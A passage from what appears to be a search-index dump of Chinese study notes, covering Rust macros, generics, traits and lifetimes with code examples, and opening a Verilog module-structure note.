\u57fa\u672c\u60c5\u51b5\uff1a\u7a7a\u7684 <code>Vec</code> <pre><code>() =&gt; {\n    Vec::new()\n};\n</code></pre></li> <li>\u5f53\u5b8f\u88ab\u8c03\u7528\u65f6\uff0c\u5982\u679c\u6ca1\u6709\u4f20\u9012\u4efb\u4f55\u53c2\u6570\uff08\u5373 <code>()</code>\uff09\uff0c\u8fd9\u4e2a\u6a21\u5f0f\u4f1a\u5339\u914d\u3002</li> <li>\u5b8f\u5c06\u5c55\u5f00\u4e3a <code>Vec::new()</code>\uff0c\u5b83\u521b\u5efa\u5e76\u8fd4\u56de\u4e00\u4e2a\u7a7a\u7684 <code>Vec</code>\u3002</li> </ol> <p>b. \u9012\u5f52\u60c5\u51b5\uff1a\u5e26\u6709\u5143\u7d20\u7684 <code>Vec</code> <pre><code>($($element:expr),+ $(,)?) =&gt; {\n    {\n        let mut temp_vec = Vec::new();\n        $(\n            temp_vec.push($element);\n        )+\n        temp_vec\n    }\n};\n</code></pre></p> <ul> <li>\u8fd9\u4e2a\u6a21\u5f0f\u5339\u914d\u4e00\u4e2a\u6216\u591a\u4e2a\u8868\u8fbe\u5f0f\uff0c\u8868\u8fbe\u5f0f\u4e4b\u95f4\u7528\u9017\u53f7\u5206\u9694\u3002\u6a21\u5f0f\u4e2d\u4f7f\u7528\u4e86 <code>$($element:expr),+</code>\uff0c\u8868\u793a\u5339\u914d\u4e00\u4e2a\u6216\u591a\u4e2a\u8868\u8fbe\u5f0f\u3002</li> <li><code>$(,)?</code> \u662f\u4e00\u4e2a\u53ef\u9009\u7684\u9017\u53f7\uff0c\u7528\u4e8e\u5141\u8bb8\u5728\u53c2\u6570\u5217\u8868\u7684\u672b\u5c3e\u52a0\u4e00\u4e2a\u9017\u53f7\u3002</li> <li>\u8be5\u6a21\u5f0f\u7684\u5c55\u5f00\u90e8\u5206\u662f\u4e00\u4e2a\u4ee3\u7801\u5757\uff1a</li> <li>\u521b\u5efa\u4e00\u4e2a\u7a7a\u7684 <code>Vec</code>\uff0c\u547d\u540d\u4e3a <code>temp_vec</code>\u3002</li> <li>\u4f7f\u7528 <code>$(...)+</code> \u5faa\u73af\uff0c\u5c06\u6bcf\u4e2a\u5339\u914d\u5230\u7684\u8868\u8fbe\u5f0f\uff08<code>$element</code>\uff09\u63a8\u5165\u5230 <code>temp_vec</code> \u4e2d\u3002</li> <li> <p>\u6700\u7ec8\u8fd4\u56de\u8fd9\u4e2a\u586b\u5145\u597d\u7684 <code>temp_vec</code>\u3002</p> </li> <li> <p>\u4f7f\u7528\u5b8f <pre><code>fn main() {\n    // \u8c03\u7528\u5b8f\n    let my_vec = vec![1, 2, 3];\n    println!(\"{:?}\", my_vec); // \u8f93\u51fa: [1, 2, 3]\n\n    let empty_vec = vec![];\n    println!(\"{:?}\", empty_vec); // \u8f93\u51fa: []\n}\n</code></pre></p> </li> <li> <p>\u5728 <code>main</code> \u51fd\u6570\u4e2d\uff0c\u5b8f <code>vec</code> \u88ab\u8c03\u7528\u4e86\u4e24\u6b21\u3002</p> </li> </ul> <p>a. \u521b\u5efa\u4e00\u4e2a\u5e26\u6709\u5143\u7d20\u7684 <code>Vec</code> <pre><code>let my_vec = vec![1, 2, 3];\n</code></pre></p> <ul> <li>\u8fd9\u91cc\u7684\u5b8f\u8c03\u7528\u4f1a\u5339\u914d\u7b2c\u4e8c\u79cd\u60c5\u51b5\uff08\u9012\u5f52\u60c5\u51b5\uff09\u3002</li> <li> <p>\u5b8f\u5c55\u5f00\u540e\u76f8\u5f53\u4e8e\u4ee5\u4e0b\u4ee3\u7801\uff1a   <pre><code>let mut temp_vec = Vec::new();\ntemp_vec.push(1);\ntemp_vec.push(2);\ntemp_vec.push(3);\nlet my_vec = temp_vec;\n</code></pre></p> </li> <li> <p>\u6253\u5370\u65f6\uff0c\u8f93\u51fa <code>[1, 2, 3]</code>\u3002</p> </li> </ul> <p>b. \u521b\u5efa\u4e00\u4e2a\u7a7a\u7684 <code>Vec</code> <pre><code>let empty_vec = vec![];\n</code></pre></p> <ul> <li>\u8fd9\u91cc\u7684\u5b8f\u8c03\u7528\u4f1a\u5339\u914d\u7b2c\u4e00\u79cd\u60c5\u51b5\uff08\u7a7a\u7684\u60c5\u51b5\uff09\u3002</li> <li>\u5b8f\u5c55\u5f00\u540e\u76f8\u5f53\u4e8e <code>let empty_vec = Vec::new();</code>\u3002</li> <li>\u6253\u5370\u65f6\uff0c\u8f93\u51fa <code>[]</code>\u3002</li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#rust_3","title":"Rust \u6cdb\u578b\u4e0e\u7279\u6027","text":"<p>\u6cdb\u578b\u662f\u4e00\u4e2a\u7f16\u7a0b\u8bed\u8a00\u4e0d\u53ef\u6216\u7f3a\u7684\u673a\u5236</p> <p>C++\u8bed\u8a00\u4e2d\u7528\u201c\u6a21\u677f\u201d\u6765\u5b9e\u73b0\u6cdb\u578b\uff0c\u800cC\u8bed\u8a00\u4e2d\u5374\u6ca1\u6709\u6cdb\u578b\u7684\u673a\u5236\uff0c\u8fd9\u5bfc\u81f4\u4f7f\u7528C\u8bed\u8a00\u6765\u6784\u5efa\u7c7b\u578b\u590d\u6742\u7684\u5de5\u7a0b\u8f83\u4e3a\u56f0\u96be\u3002</p> <p>\u6cdb\u578b\u673a\u5236\u662f\u7f16\u7a0b\u8bed\u8a00\u7528\u4e8e\u8868\u8fbe\u7c7b\u578b\u62bd\u8c61\u7684\u673a\u5236\uff0c\u4e00\u822c\u7528\u4e8e\u529f\u80fd\u786e\u5b9a\uff0c\u6570\u636e\u7c7b\u578b\u5f85\u5b9a\u7684\u7c7b\uff0c\u4f8b\u5982\u94fe\u8868\uff0c\u6620\u5c04\u8868\u7b49\u7b49\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_45","title":"\u5728\u51fd\u6570\u4e2d\u5b9a\u4e49\u6cdb\u578b","text":"<pre><code>fn max(array: &amp;[i32]) -&gt; i32 {\n    let mut max_index = 0;\n    let mut i = 1;\n    while i &lt; array.len() {\n        if array[i] &gt; array[max_index] {\n            max_index = i;\n        }\n        i += 1;\n    }\n    array[max_index]\n}\n\nfn main() {\n    let a = [2, 4, 6, 3, 1];\n    println!(\"max = {}\", max(&amp;a));\n}\n</code></pre> <p>\u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u53d6\u6700\u5927\u503c\u7a0b\u5e8f\uff0c\u53ef\u4ee5\u7528\u4e8e\u5904\u7406 i32 \u6570\u5b57\u7c7b\u578b\u7684\u6570\u636e\uff0c\u4f46\u65e0\u6cd5\u7528\u4e8e f64 \u7c7b\u578b\u7684\u6570\u636e\u3002\u901a\u8fc7\u4f7f\u7528\u6cdb\u578b\u6211\u4eec\u53ef\u4ee5\u4f7f\u8fd9\u4e2a\u51fd\u6570\u53ef\u4ee5\u5229\u7528\u5230\u5404\u4e2a\u7c7b\u578b\u4e2d\u53bb\u3002\u4f46\u5b9e\u9645\u4e0a\u5e76\u4e0d\u662f\u6240\u6709\u7684\u6570\u636e\u7c7b\u578b\u90fd\u53ef\u4ee5\u6bd4\u5927\u5c0f\uff0c\u6240\u4ee5\u63a5\u4e0b\u6765\u4e00\u6bb5\u4ee3\u7801\u5e76\u4e0d\u662f\u7528\u6765\u8fd0\u884c\u7684\uff0c\u800c\u662f\u7528\u6765\u63cf\u8ff0\u4e00\u4e0b\u51fd\u6570\u6cdb\u578b\u7684\u8bed\u6cd5\u683c\u5f0f\uff1a</p> <pre><code>fn max&lt;T&gt;(array: &amp;[T]) -&gt; T {\n    let mut max_index = 0;\n    let mut i = 1;\n    while i &lt; array.len() {\n        if array[i] &gt; array[max_index] {\n            max_index = i;\n        }\n        i += 1;\n    }\n    array[max_index]\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_46","title":"\u7ed3\u6784\u4f53\u4e0e\u679a\u4e3e\u7c7b\u4e2d\u7684\u6cdb\u578b","text":"<p>Rust \u4e2d\u7684\u7ed3\u6784\u4f53\u548c\u679a\u4e3e\u7c7b\u90fd\u53ef\u4ee5\u5b9e\u73b0\u6cdb\u578b\u673a\u5236</p> <pre><code>struct Point&lt;T&gt; {\n    x: T,\n    y: T\n}\n</code></pre> <p>\u8fd9\u662f\u4e00\u4e2a\u70b9\u5750\u6807\u7ed3\u6784\u4f53\uff0cT \u8868\u793a\u63cf\u8ff0\u70b9\u5750\u6807\u7684\u6570\u5b57\u7c7b\u578b\u3002\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u4f7f\u7528\uff1a</p> <pre><code>let p1 = Point {x: 1, y: 2};\nlet p2 = Point {x: 1.0, y: 2.0};\n</code></pre> <p>\u4f7f\u7528\u65f6\u5e76\u6ca1\u6709\u58f0\u660e\u7c7b\u578b\uff0c\u8fd9\u91cc\u4f7f\u7528\u7684\u662f\u81ea\u52a8\u7c7b\u578b\u673a\u5236\uff0c\u4f46\u4e0d\u5141\u8bb8\u51fa\u73b0\u7c7b\u578b\u4e0d\u5339\u914d\u7684\u60c5\u51b5\u5982\u4e0b\uff1a</p> <pre><code>let p = Point {x: 1, y: 2.0};\n</code></pre> <p>x \u4e0e 1 \u7ed1\u5b9a\u65f6\u5c31\u5df2\u7ecf\u5c06 T \u8bbe\u5b9a\u4e3a i32\uff0c\u6240\u4ee5\u4e0d\u5141\u8bb8\u518d\u51fa\u73b0 f64 \u7684\u7c7b\u578b\u3002\u5982\u679c\u6211\u4eec\u60f3\u8ba9 x \u4e0e y \u7528\u4e0d\u540c\u7684\u6570\u636e\u7c7b\u578b\u8868\u793a\uff0c\u53ef\u4ee5\u4f7f\u7528\u4e24\u4e2a\u6cdb\u578b\u6807\u8bc6\u7b26\uff1a <pre><code>struct Point&lt;T1, T2&gt; {\n    x: T1,\n    y: T2\n}\n</code></pre></p> <p>\u7ed3\u6784\u4f53\u4e0e\u679a\u4e3e\u7c7b\u90fd\u53ef\u4ee5\u5b9a\u4e49\u65b9\u6cd5\uff0c\u90a3\u4e48\u65b9\u6cd5\u4e5f\u5e94\u8be5\u5b9e\u73b0\u6cdb\u578b\u7684\u673a\u5236\uff0c\u5426\u5219\u6cdb\u578b\u7684\u7c7b\u5c06\u65e0\u6cd5\u88ab\u6709\u6548\u7684\u65b9\u6cd5\u64cd\u4f5c\u3002</p> <pre><code>struct Point&lt;T&gt; {\n    x: T,\n    y: T,\n}\n\nimpl&lt;T&gt; Point&lt;T&gt; {\n    fn x(&amp;self) -&gt; &amp;T {\n        &amp;self.x\n    }\n}\n\nfn main() {\n    let p = Point { x: 1, y: 2 };\n    println!(\"p.x = {}\", p.x());\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_47","title":"\u7279\u6027","text":"<p>\u7279\u6027\uff08trait\uff09\u6982\u5ff5\u63a5\u8fd1\u4e8e Java \u4e2d\u7684\u63a5\u53e3\uff08Interface\uff09\uff0c\u4f46\u4e24\u8005\u4e0d\u5b8c\u5168\u76f8\u540c\u3002\u7279\u6027\u4e0e\u63a5\u53e3\u76f8\u540c\u7684\u5730\u65b9\u5728\u4e8e\u5b83\u4eec\u90fd\u662f\u4e00\u79cd\u884c\u4e3a\u89c4\u8303\uff0c\u53ef\u4ee5\u7528\u4e8e\u6807\u8bc6\u54ea\u4e9b\u7c7b\u6709\u54ea\u4e9b\u65b9\u6cd5\u3002</p> <p>\u7279\u6027\u5728 Rust \u4e2d\u7528 trait \u8868\u793a\uff1a</p> <pre><code>trait Descriptive {\n    fn describe(&amp;self) -&gt; String;\n}\n</code></pre> <p>Descriptive \u89c4\u5b9a\u4e86\u5b9e\u73b0\u8005\u5fc5\u9700\u6709 <code>describe(&amp;self) -&gt; String</code> \u65b9\u6cd5\u3002</p> <p>\u6211\u4eec\u7528\u5b83\u5b9e\u73b0\u4e00\u4e2a\u7ed3\u6784\u4f53\uff1a</p> <pre><code>struct Person {\n    name: String,\n    age: u8\n}\n\nimpl Descriptive for Person {\n    fn describe(&amp;self) -&gt; String {\n        format!(\"{} {}\", self.name, self.age)\n    }\n}\n</code></pre> <p>\u683c\u5f0f\u4e3a<code>impl &lt;\u7279\u6027\u540d&gt; for &lt;\u6240\u5b9e\u73b0\u7684\u7c7b\u578b\u540d&gt;</code></p> <p>Rust \u540c\u4e00\u4e2a\u7c7b\u53ef\u4ee5\u5b9e\u73b0\u591a\u4e2a\u7279\u6027\uff0c\u6bcf\u4e2a impl \u5757\u53ea\u80fd\u5b9e\u73b0\u4e00\u4e2a\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_48","title":"\u9ed8\u8ba4\u7279\u6027","text":"<p>\u8fd9\u662f\u7279\u6027\u4e0e\u63a5\u53e3\u7684\u4e0d\u540c\u70b9\uff1a\u63a5\u53e3\u53ea\u80fd\u89c4\u8303\u65b9\u6cd5\u800c\u4e0d\u80fd\u5b9a\u4e49\u65b9\u6cd5\uff0c\u4f46\u7279\u6027\u53ef\u4ee5\u5b9a\u4e49\u65b9\u6cd5\u4f5c\u4e3a\u9ed8\u8ba4\u65b9\u6cd5\uff0c\u56e0\u4e3a\u662f\"\u9ed8\u8ba4\"\uff0c\u6240\u4ee5\u5bf9\u8c61\u65e2\u53ef\u4ee5\u91cd\u65b0\u5b9a\u4e49\u65b9\u6cd5\uff0c\u4e5f\u53ef\u4ee5\u4e0d\u91cd\u65b0\u5b9a\u4e49\u65b9\u6cd5\u4f7f\u7528\u9ed8\u8ba4\u7684\u65b9\u6cd5\uff1a</p> <pre><code>trait Descriptive {\n    fn describe(&amp;self) -&gt; String {\n        String::from(\"[Object]\")\n    }\n}\n\nstruct Person {\n    name: String,\n    age: u8\n}\n\nimpl Descriptive for Person {\n    fn describe(&amp;self) -&gt; String {\n        format!(\"{} {}\", self.name, self.age)\n    }\n}\n\nfn main() {\n    let cali = Person {\n        name: String::from(\"Cali\"),\n        age: 24\n    };\n    println!(\"{}\", cali.describe());\n}\n</code></pre> <p>\u8fd0\u884c\u7ed3\u679c\u4e3a</p> <p><code>Cali 24</code></p> <p>\u5982\u679c\u6211\u4eec\u5c06 impl Descriptive for Person \u5757\u4e2d\u7684\u5185\u5bb9\u53bb\u6389\uff0c\u90a3\u4e48\u8fd0\u884c\u7ed3\u679c\u5c31\u662f\uff1a</p> <p><code>[Object]</code></p>"},{"location":"NOTE/CS/RUST/RUST/#_49","title":"\u7279\u6027\u505a\u53c2\u6570","text":"<p>\u5f88\u591a\u60c5\u51b5\u4e0b\u6211\u4eec\u9700\u8981\u4f20\u9012\u4e00\u4e2a\u51fd\u6570\u505a\u53c2\u6570\uff0c\u4f8b\u5982\u56de\u8c03\u51fd\u6570\u3001\u8bbe\u7f6e\u6309\u94ae\u4e8b\u4ef6\u7b49\u3002\u5728 Java \u4e2d\u51fd\u6570\u5fc5\u987b\u4ee5\u63a5\u53e3\u5b9e\u73b0\u7684\u7c7b\u5b9e\u4f8b\u6765\u4f20\u9012\uff0c\u5728 Rust \u4e2d\u53ef\u4ee5\u901a\u8fc7\u4f20\u9012\u7279\u6027\u53c2\u6570\u6765\u5b9e\u73b0\uff1a</p> <pre><code>fn output(object: impl Descriptive) {\n    println!(\"{}\", object.describe());\n}\n</code></pre> <p>\u4efb\u4f55\u5b9e\u73b0\u4e86 Descriptive \u7279\u6027\u7684\u5bf9\u8c61\u90fd\u53ef\u4ee5\u4f5c\u4e3a\u8fd9\u4e2a\u51fd\u6570\u7684\u53c2\u6570\uff0c\u8fd9\u4e2a\u51fd\u6570\u6ca1\u5fc5\u8981\u4e86\u89e3\u4f20\u5165\u5bf9\u8c61\u6709\u6ca1\u6709\u5176\u4ed6\u5c5e\u6027\u6216\u65b9\u6cd5\uff0c\u53ea\u9700\u8981\u4e86\u89e3\u5b83\u4e00\u5b9a\u6709 Descriptive \u7279\u6027\u89c4\u8303\u7684\u65b9\u6cd5\u5c31\u53ef\u4ee5\u4e86\u3002\u5f53\u7136\uff0c\u6b64\u51fd\u6570\u5185\u4e5f\u65e0\u6cd5\u4f7f\u7528\u5176\u4ed6\u7684\u5c5e\u6027\u4e0e\u65b9\u6cd5\u3002</p> <p>\u7279\u6027\u53c2\u6570\u8fd8\u53ef\u4ee5\u7528\u8fd9\u79cd\u7b49\u6548\u8bed\u6cd5\u5b9e\u73b0\uff1a <pre><code>fn output&lt;T: Descriptive&gt;(object: T) {\n    println!(\"{}\", object.describe());\n}\n</code></pre> \u8fd9\u662f\u4e00\u79cd\u98ce\u683c\u7c7b\u4f3c\u6cdb\u578b\u7684\u8bed\u6cd5\u7cd6\uff0c\u8fd9\u79cd\u8bed\u6cd5\u7cd6\u5728\u6709\u591a\u4e2a\u53c2\u6570\u7c7b\u578b\u5747\u662f\u7279\u6027\u7684\u60c5\u51b5\u4e0b\u5341\u5206\u5b9e\u7528\uff1a</p> <p><pre><code>fn output_two&lt;T: Descriptive&gt;(arg1: T, arg2: T) {\n    println!(\"{}\", arg1.describe());\n    println!(\"{}\", arg2.describe());\n}\n</code></pre> \u7279\u6027\u4f5c\u7c7b\u578b\u8868\u793a\u65f6\u5982\u679c\u6d89\u53ca\u591a\u4e2a\u7279\u6027\uff0c\u53ef\u4ee5\u7528 + \u7b26\u53f7\u8868\u793a\uff0c\u4f8b\u5982\uff1a <pre><code>fn notify(item: impl Summary + Display)\nfn notify&lt;T: Summary + Display&gt;(item: T)\n</code></pre></p> <p>\u6ce8\u610f\uff1a\u4ec5\u7528\u4e8e\u8868\u793a\u7c7b\u578b\u7684\u65f6\u5019\uff0c\u5e76\u4e0d\u610f\u5473\u7740\u53ef\u4ee5\u5728 impl \u5757\u4e2d\u4f7f\u7528\u3002</p> <p>\u590d\u6742\u7684\u5b9e\u73b0\u5173\u7cfb\u53ef\u4ee5\u4f7f\u7528 where \u5173\u952e\u5b57\u7b80\u5316\uff0c\u4f8b\u5982\uff1a <pre><code>fn some_function&lt;T: Display + Clone, U: Clone + Debug&gt;(t: T, u: U)\n</code></pre> \u53ef\u4ee5\u7b80\u5316\u6210\uff1a <pre><code>fn some_function&lt;T, U&gt;(t: T, u: U) -&gt; i32\n    where T: Display + Clone,\n          U: Clone + Debug\n</code></pre></p> <p>Example</p> <p>trait Comparable { fn compare(&amp;self, object: &amp;Self) -&gt; i8; }</p> <p>fn max(array: &amp;[T]) -&gt; &amp;T {     let mut max_index = 0;     let mut i = 1;     while i &lt; array.len() {         if array[i].compare(&amp;array[max_index]) &gt; 0 {             max_index = i;         }         i += 1;     }     &amp;array[max_index] } <p>impl Comparable for f64 {     fn compare(&amp;self, object: &amp;f64) -&gt; i8 {         if &amp;self &gt; &amp;object { 1 }         else if &amp;self == &amp;object { 0 }         else { -1 }     } }</p> <p>fn main() {     let arr = [1.0, 3.0, 5.0, 4.0, 2.0];     println!(\"maximum of arr is {}\", max(&amp;arr)); }</p>"},{"location":"NOTE/CS/RUST/RUST/#_50","title":"\u7279\u6027\u505a\u8fd4\u56de\u503c","text":"<p>\u7279\u6027\u505a\u8fd4\u56de\u503c\u683c\u5f0f\u5982\u4e0b\uff1a <pre><code>fn person() -&gt; impl Descriptive {\n    Person {\n        name: String::from(\"Cali\"),\n        age: 24\n    }\n}\n</code></pre></p> <p>\u4f46\u662f\u6709\u4e00\u70b9\uff0c\u7279\u6027\u505a\u8fd4\u56de\u503c\u53ea\u63a5\u53d7\u5b9e\u73b0\u4e86\u8be5\u7279\u6027\u7684\u5bf9\u8c61\u505a\u8fd4\u56de\u503c\u4e14\u5728\u540c\u4e00\u4e2a\u51fd\u6570\u4e2d\u6240\u6709\u53ef\u80fd\u7684\u8fd4\u56de\u503c\u7c7b\u578b\u5fc5\u987b\u5b8c\u5168\u4e00\u6837\u3002\u6bd4\u5982\u7ed3\u6784\u4f53 A \u4e0e\u7ed3\u6784\u4f53 B \u90fd\u5b9e\u73b0\u4e86\u7279\u6027 Trait\uff0c\u4e0b\u9762\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u9519\u8bef\u7684\uff1a</p> <pre><code>fn some_function(bool bl) -&gt; impl Descriptive {\n    if bl {\n        return A {};\n    } else {\n        return B {};\n    }\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_51","title":"\u751f\u547d\u5468\u671f","text":"<p>Rust \u751f\u547d\u5468\u671f\u673a\u5236\u662f\u4e0e\u6240\u6709\u6743\u673a\u5236\u540c\u7b49\u91cd\u8981\u7684\u8d44\u6e90\u7ba1\u7406\u673a\u5236\u3002</p> <p>\u4e4b\u6240\u4ee5\u5f15\u5165\u8fd9\u4e2a\u6982\u5ff5\u4e3b\u8981\u662f\u5e94\u5bf9\u590d\u6742\u7c7b\u578b\u7cfb\u7edf\u4e2d\u8d44\u6e90\u7ba1\u7406\u7684\u95ee\u9898\u3002</p> <p>\u5f15\u7528\u662f\u5bf9\u5f85\u590d\u6742\u7c7b\u578b\u65f6\u5fc5\u4e0d\u53ef\u5c11\u7684\u673a\u5236\uff0c\u6bd5\u7adf\u590d\u6742\u7c7b\u578b\u7684\u6570\u636e\u4e0d\u80fd\u88ab\u5904\u7406\u5668\u8f7b\u6613\u5730\u590d\u5236\u548c\u8ba1\u7b97\u3002</p> <p>\u4f46\u5f15\u7528\u5f80\u5f80\u5bfc\u81f4\u6781\u5176\u590d\u6742\u7684\u8d44\u6e90\u7ba1\u7406\u95ee\u9898\uff0c\u9996\u5148\u8ba4\u8bc6\u4e00\u4e0b\u5782\u60ac\u5f15\u7528\uff1a</p> <pre><code>{\n    let r;\n\n    {\n        let x = 5;\n        r = &amp;x;\n    }//\u7ed3\u675f\u4e4b\u540e\uff0cr\u6240\u5f15\u7528\u7684\u503c\u5df2\u7ecf\u5728\u4f7f\u7528\u4e4b\u524d\u88ab\u91ca\u653e\n\n    println!(\"r: {}\", r);\n}\n</code></pre> <p>\u5f15\u7528\u5fc5\u987b\u5728\u503c\u7684\u751f\u547d\u5468\u671f\u4ee5\u5185\u624d\u6709\u6548\u3002</p> <p>\u4e00\u76f4\u4ee5\u6765\u6211\u4eec\u90fd\u5728\u7ed3\u6784\u4f53\u4e2d\u4f7f\u7528 String \u800c\u4e0d\u7528 &amp;str\uff0c\u6211\u4eec\u7528\u4e00\u4e2a\u6848\u4f8b\u89e3\u91ca\u539f\u56e0\uff1a</p> <pre><code>fn longer(s1: &amp;str, s2: &amp;str) -&gt; &amp;str {\n    if s2.len() &gt; s1.len() {\n        s2\n    } else {\n        s1\n    }\n}\n</code></pre> <p>Example</p> <p>fn main() { let r; {     let s1 = \"rust\";     let s2 = \"ecmascript\";     r = longer(s1, s2); } println!(\"{} is longer\", r);</p> <p>}    \u8fd9\u6bb5\u7a0b\u5e8f\u4e2d\u867d\u7136\u7ecf\u8fc7\u4e86\u6bd4\u8f83\uff0c\u4f46 r \u88ab\u4f7f\u7528\u7684\u65f6\u5019\u6e90\u503c s1 \u548c s2 \u90fd\u5df2\u7ecf\u5931\u6548\u4e86\u3002\u5f53\u7136\u6211\u4eec\u53ef\u4ee5\u628a r \u7684\u4f7f\u7528\u79fb\u5230 s1 \u548c s2 \u7684\u751f\u547d\u5468\u671f\u8303\u56f4\u4ee5\u5185\u9632\u6b62\u8fd9\u79cd\u9519\u8bef\u7684\u53d1\u751f\uff0c\u4f46\u5bf9\u4e8e\u51fd\u6570\u6765\u8bf4\uff0c\u5b83\u5e76\u4e0d\u80fd\u77e5\u9053\u81ea\u5df1\u4ee5\u5916\u7684\u5730\u65b9\u662f\u4ec0\u4e48\u60c5\u51b5\uff0c\u5b83\u4e3a\u4e86\u4fdd\u969c\u81ea\u5df1\u4f20\u9012\u51fa\u53bb\u7684\u503c\u662f\u6b63\u5e38\u7684\uff0c\u5fc5\u9009\u6240\u6709\u6743\u539f\u5219\u6d88\u9664\u4e00\u5207\u5371\u9669\uff0c\u6240\u4ee5 longer \u51fd\u6570\u5e76\u4e0d\u80fd\u901a\u8fc7\u7f16\u8bd1\u3002</p>"},{"location":"NOTE/CS/RUST/RUST/#_52","title":"\u751f\u547d\u5468\u671f\u6ce8\u91ca","text":"<p>\u751f\u547d\u5468\u671f\u6ce8\u91ca\u662f\u63cf\u8ff0\u5f15\u7528\u751f\u547d\u5468\u671f\u7684\u529e\u6cd5\u3002</p> <p>\u867d\u7136\u8fd9\u6837\u5e76\u4e0d\u80fd\u591f\u6539\u53d8\u5f15\u7528\u7684\u751f\u547d\u5468\u671f\uff0c\u4f46\u53ef\u4ee5\u5728\u5408\u9002\u7684\u5730\u65b9\u58f0\u660e\u4e24\u4e2a\u5f15\u7528\u7684\u751f\u547d\u5468\u671f\u4e00\u81f4\u3002</p> <p>\u751f\u547d\u5468\u671f\u6ce8\u91ca\u7528\u5355\u5f15\u53f7\u5f00\u5934\uff0c\u8ddf\u7740\u4e00\u4e2a\u5c0f\u5199\u5b57\u6bcd\u5355\u8bcd\uff1a</p> <pre><code>&amp;i32        // \u5e38\u89c4\u5f15\u7528\n&amp;'a i32     // \u542b\u6709\u751f\u547d\u5468\u671f\u6ce8\u91ca\u7684\u5f15\u7528\n&amp;'a mut i32 // \u53ef\u53d8\u578b\u542b\u6709\u751f\u547d\u5468\u671f\u6ce8\u91ca\u7684\u5f15\u7528\n</code></pre> <pre><code>fn longer&lt;'a&gt;(s1: &amp;'a str, s2: &amp;'a str) -&gt; &amp;'a str {\n    if s2.len() &gt; s1.len() {\n        s2\n    } else {\n        s1\n    }\n}\n\nfn main() {\n    let r;\n    {\n        let s1 = \"rust\";\n        let s2 = \"ecmascript\";\n        r = longer(s1, s2);\n        println!(\"{} is longer\", r);\n    }\n}\n</code></pre> <p>\u6211\u4eec\u9700\u8981\u7528\u6cdb\u578b\u58f0\u660e\u6765\u89c4\u8303\u751f\u547d\u5468\u671f\u7684\u540d\u79f0\uff0c\u968f\u540e\u51fd\u6570\u8fd4\u56de\u503c\u7684\u751f\u547d\u5468\u671f\u5c06\u4e0e\u4e24\u4e2a\u53c2\u6570\u7684\u751f\u547d\u5468\u671f\u4e00\u81f4</p>"},{"location":"NOTE/CS/RUST/RUST/#_53","title":"\u9759\u6001\u751f\u547d\u5468\u671f","text":"<p>\u751f\u547d\u5468\u671f\u6ce8\u91ca\u6709\u4e00\u4e2a\u7279\u522b\u7684\uff1a'static \u3002\u6240\u6709\u7528\u53cc\u5f15\u53f7\u5305\u62ec\u7684\u5b57\u7b26\u4e32\u5e38\u91cf\u6240\u4ee3\u8868\u7684\u7cbe\u786e\u6570\u636e\u7c7b\u578b\u90fd\u662f &amp;'static str \uff0c'static \u6240\u8868\u793a\u7684\u751f\u547d\u5468\u671f\u4ece\u7a0b\u5e8f\u8fd0\u884c\u5f00\u59cb\u5230\u7a0b\u5e8f\u8fd0\u884c\u7ed3\u675f\u3002</p>"},{"location":"NOTE/CS/Verilog/verilog/","title":"Verilog \u5b66\u4e60\u7b14\u8bb0-\u5165\u95e8\u7bc7","text":"<p> \u7ea6 1011 \u4e2a\u5b57  207 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 6 \u5206\u949f</p> <p>\u8001\u5e08\u4e0d\u6559\u662f\u5427,\u81ea\u5df1\u5b66</p>"},{"location":"NOTE/CS/Verilog/verilog/#verilog","title":"Verilog\u6a21\u5757\u7ed3\u6784","text":"<p>Verilog\u6a21\u5757\u5927\u81f4\u5982\u4e0b</p> <p><pre><code>module name_of_module([\u7aef\u53e3\u5217\u8868]);\n     \u7aef\u53e3\u4fe1\u53f7\u58f0\u660e;\n     \u53c2\u6570\u58f0\u660e;\n     ---\n     \u5185\u90e8\u4fe1\u53f7\u8bf4\u660e\n     assign \u8bed\u53e5\n     \u5e95\u5c42\u6a21\u5757\u6216\u8005\u95e8\u539f\u8c03\u7528(\u5305\u62ec\u751f\u6210\u6a21\u5757)\n     Initial \u6216 always \u8bed\u53e5\u5757\n     \u4efb\u52a1\u548c\u51fd\u6570\u5b9a\u4e49\n     specify \u5757(\u8def\u5f84\u5ef6\u8fdf)\nendmodule\n</code></pre> \u8be6\u7ec6\u8bf4\u660e</p> <ul> <li>\u5e38\u7528\u8bed\u53e5\u53ea\u6709\u4e09\u79cd<ul> <li><code>assign</code>\u8bed\u53e5</li> <li><code>always</code>\u8bed\u53e5</li> <li>\u5e95\u5c42\u6a21\u5757\u8c03\u7528\u8bed\u53e5</li> </ul> </li> <li>\u4e09\u79cd\u8bed\u53e5\u7684\u987a\u5e8f\u65e0\u5173 ,\u8fd9\u4e0eC\u8bed\u8a00\u5f88\u4e0d\u540c</li> <li> <p>\u9664\u4e00\u5f00\u59cb\u7684<code>module</code>\u548c<code>endmodule</code>\u5fc5\u987b\u5199\u4e4b\u5916,\u5176\u4ed6\u90fd\u662f\u53ef\u9009\u7684</p> </li> <li> <p>\u7f29\u8fdb\u5728Verilog\u4e2d\u5e76\u4e0d\u91cd\u8981,\u5b83\u4e3b\u8981\u4f7f\u7528<code>begin</code>\u548c<code>end</code>\u6765\u5206\u5272</p> </li> <li> <p>\u6a21\u5757\u540d\u662f\u6307\u7535\u8def\u7684\u540d\u5b57,\u7531\u7528\u6237\u6307\u5b9a,\u6700\u597d\u4e0e\u6587\u4ef6\u540d\u4e00\u81f4</p> </li> <li> <p>\u7aef\u53e3\u5217\u8868 \u662f\u6307\u7535\u8def\u7684\u8f93\u5165/\u8f93\u51fa\u4fe1\u53f7\u540d\u79f0\u5217\u8868,\u4fe1\u53f7\u540d\u7531\u7528\u6237\u6307\u5b9a,\u5404\u540d\u79f0\u7528\u9017\u53f7\u9694\u5f00;</p> </li> <li> <p>\u7aef\u53e3\u4fe1\u53f7\u58f0\u660e 